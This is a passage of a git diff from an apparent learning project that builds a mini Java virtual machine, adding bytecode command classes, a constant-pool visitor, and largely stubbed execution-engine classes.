+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (getfield.equals(opCode)) {
+				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (getstatic.equals(opCode)) {
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (putfield.equals(opCode)) {
+				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ldc.equals(opCode)) {
+				LdcCmd cmd = new LdcCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (bipush.equals(opCode)) {
+				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
+					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
+					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+				cmds.add(cmd);
+			} else {
+				throw new RuntimeException("Sorry, the java instruction " + opCode + "has not been implement.");
+			}
+		}
+
+		calcuateOffset(cmds);
+
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+		return result;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/GetFieldCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..6644fe958d
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,28 @@
+package com.donaldy.jvm.cmd;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.engine.ExecutionResult;
+import com.donaldy.jvm.engine.StackFrame;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+
+	}
+	
+
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/GetStaticFieldCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..7b4cc9896f
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,31 @@
+package com.donaldy.jvm.cmd;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ClassInfo;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.constant.FieldRefInfo;
+import com.donaldy.jvm.constant.UTF8Info;
+import com.donaldy.jvm.engine.ExecutionResult;
+import com.donaldy.jvm.engine.StackFrame;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+
+	}
+
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/InvokeSpecialCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..b646011143
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,29 @@
+package com.donaldy.jvm.cmd;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.constant.MethodRefInfo;
+import com.donaldy.jvm.engine.ExecutionResult;
+import com.donaldy.jvm.engine.StackFrame;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+
+	}
+
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/InvokeVirtualCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..8b51e481af
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,27 @@
+package com.donaldy.jvm.cmd;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.engine.ExecutionResult;
+import com.donaldy.jvm.engine.StackFrame;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+	}
+	
+
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/LdcCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..d55d8ef409
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/LdcCmd.java
@@ -0,0 +1,37 @@
+package com.donaldy.jvm.cmd;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ConstantInfo;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.constant.StringInfo;
+import com.donaldy.jvm.engine.ExecutionResult;
+import com.donaldy.jvm.engine.StackFrame;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+
+	}
+	
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/NewObjectCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..2a30581935
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,26 @@
+package com.donaldy.jvm.cmd;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.engine.ExecutionResult;
+import com.donaldy.jvm.engine.StackFrame;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+
+	}
+	
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/NoOperandCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..c664210eda
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,32 @@
+package com.donaldy.jvm.cmd;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.engine.ExecutionResult;
+import com.donaldy.jvm.engine.StackFrame;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+
+	}
+
+
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/OneOperandCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..9a1709a9c7
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.donaldy.jvm.cmd;
+
+import com.donaldy.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/PutFieldCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..9bf85ba44f
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,27 @@
+package com.donaldy.jvm.cmd;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.engine.ExecutionResult;
+import com.donaldy.jvm.engine.StackFrame;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+
+	}
+
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/TwoOperandCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..1d38c8ed3f
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.donaldy.jvm.cmd;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ClassInfo;
+import com.donaldy.jvm.constant.ConstantInfo;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.constant.FieldRefInfo;
+import com.donaldy.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/ClassInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/ClassInfo.java
index 71f31261e4..cbf71927be 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/ClassInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/ClassInfo.java
@@ -21,4 +21,8 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/ConstantInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/ConstantInfo.java
index 20cad6fcd5..ff2a27bcd6 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/ConstantInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/ConstantInfo.java
@@ -26,4 +26,15 @@ public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
 	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/ConstantPool.java b/group24/448641125/src/com/donaldy/jvm/constant/ConstantPool.java
index 77bdfc8e67..1698c2c657 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/ConstantPool.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/ConstantPool.java
@@ -23,7 +23,9 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public Object getSize() {		
+	public int getSize() {		
 		return this.constantInfos.size() -1;
 	}
+	
+	
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/FieldRefInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/FieldRefInfo.java
index 6a6f72f5da..ffd7b835e0 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/FieldRefInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/FieldRefInfo.java
@@ -51,4 +51,8 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/MethodRefInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/MethodRefInfo.java
index e65135279f..b370eff575 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/MethodRefInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/MethodRefInfo.java
@@ -49,6 +49,11 @@ public String getParamAndReturnType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
 	
 	
 	
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/NameAndTypeInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/NameAndTypeInfo.java
index 21ecd2b411..db48418b57 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/NameAndTypeInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/NameAndTypeInfo.java
@@ -42,4 +42,10 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo()+")";
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/NullConstantInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/NullConstantInfo.java
index 3a2cc11017..74e491637f 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/NullConstantInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/NullConstantInfo.java
@@ -9,5 +9,9 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
 	
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/StringInfo.java b/group24/448641125/src/com/donaldy/jvm/constant/StringInfo.java
index f59d34a497..94325bfdbc 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/StringInfo.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/StringInfo.java
@@ -22,5 +22,11 @@ public void setIndex(int index) {
 	public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
 	
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/constant/UTF8Info.java b/group24/448641125/src/com/donaldy/jvm/constant/UTF8Info.java
index 7432e5b6c4..10c06dcf2a 100644
--- a/group24/448641125/src/com/donaldy/jvm/constant/UTF8Info.java
+++ b/group24/448641125/src/com/donaldy/jvm/constant/UTF8Info.java
@@ -26,6 +26,11 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
 	
 	
 
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/ExecutionResult.java b/group24/448641125/src/com/donaldy/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..c90cc8fc65
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/engine/ExecutionResult.java
@@ -0,0 +1,56 @@
+package com.donaldy.jvm.engine;
+
+import com.donaldy.jvm.method.Method;
+
+public class ExecutionResult {
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+	
+	private int nextAction = RUN_NEXT_CMD; 
+	
+	private int nextCmdOffset = 0;
+	
+	private Method nextMethod;
+	
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+
+	
+	
+	public void setNextAction(int action){
+		this.nextAction = action;
+	}
+	public boolean isPauseAndRunNewFrame(){
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+	public boolean isExitCurrentFrame(){
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+	
+	public boolean isRunNextCmd(){
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+	
+	public boolean isJump(){
+		return this.nextAction == JUMP;
+	}
+	
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+	
+	
+	
+	
+
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/ExecutorEngine.java b/group24/448641125/src/com/donaldy/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..1fb57626b9
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,35 @@
+package com.donaldy.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.donaldy.jvm.attr.CodeAttr;
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.cmd.ByteCodeCommand;
+import com.donaldy.jvm.constant.MethodRefInfo;
+import com.donaldy.jvm.method.Method;
+
+public class ExecutorEngine {
+
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+	
+	public ExecutorEngine() {
+		
+	}
+	
+	public void execute(Method mainMethod){
+		
+		
+		
+	}
+	
+	
+	
+	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+		
+		
+		
+	}
+	
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/Heap.java b/group24/448641125/src/com/donaldy/jvm/engine/Heap.java
new file mode 100644
index 0000000000..250d70504d
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/engine/Heap.java
@@ -0,0 +1,39 @@
+package com.donaldy.jvm.engine;
+
+public class Heap {
+	
+	/**
+	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+	 */
+	
+	private static Heap instance = new Heap();
+	private Heap() {		
+	}
+	public static Heap getInstance(){
+		return instance;
+	}
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/JavaObject.java b/group24/448641125/src/com/donaldy/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..d5c5884af2
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/engine/JavaObject.java
@@ -0,0 +1,71 @@
+package com.donaldy.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/MethodArea.java b/group24/448641125/src/com/donaldy/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..fea5102cd0
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/engine/MethodArea.java
@@ -0,0 +1,68 @@
+package com.donaldy.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.MethodRefInfo;
+import com.donaldy.jvm.loader.ClassFileLoader;
+import com.donaldy.jvm.method.Method;
+
+public class MethodArea {
+	
+	public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className){
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className){
+		
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// 看来该class 文件还没有load过
+		ClassFile clzFile = this.clzLoader.loadClass(className);
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType){
+		
+		return null;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef){		
+		
+		return null;
+			
+	}
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/MiniJVM.java b/group24/448641125/src/com/donaldy/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..30f19e0d8c
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/engine/MiniJVM.java
@@ -0,0 +1,28 @@
+package com.donaldy.jvm.engine;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import com.donaldy.jvm.loader.ClassFileLoader;
+
+
+public class MiniJVM {
+	
+	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		for(int i=0;i<classPaths.length ; i++){
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea= MethodArea.getInstance();
+		
+		methodArea.setClassFileLoader(loader);
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+	
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/engine/StackFrame.java b/group24/448641125/src/com/donaldy/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..73b510e140
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/engine/StackFrame.java
@@ -0,0 +1,95 @@
+package com.donaldy.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.donaldy.jvm.cmd.ByteCodeCommand;
+import com.donaldy.jvm.method.Method;
+
+public class StackFrame {
+	
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+
+	
+	
+	
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+		return null;
+		
+	}
+
+	
+	
+	
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//问题： 为什么要这么做？？
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+	
+
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/loader/ClassFileLoader.java b/group24/448641125/src/com/donaldy/jvm/loader/ClassFileLoader.java
index e1132dd023..17f25799c2 100644
--- a/group24/448641125/src/com/donaldy/jvm/loader/ClassFileLoader.java
+++ b/group24/448641125/src/com/donaldy/jvm/loader/ClassFileLoader.java
@@ -58,6 +58,7 @@ public String getClassPath() {
 	}
 
 	public ClassFile loadClass(String className) {
+
 		byte[] codes = this.readBinaryCode(className);
 		ClassFileParser parser = new ClassFileParser();
 		return parser.parse(codes);
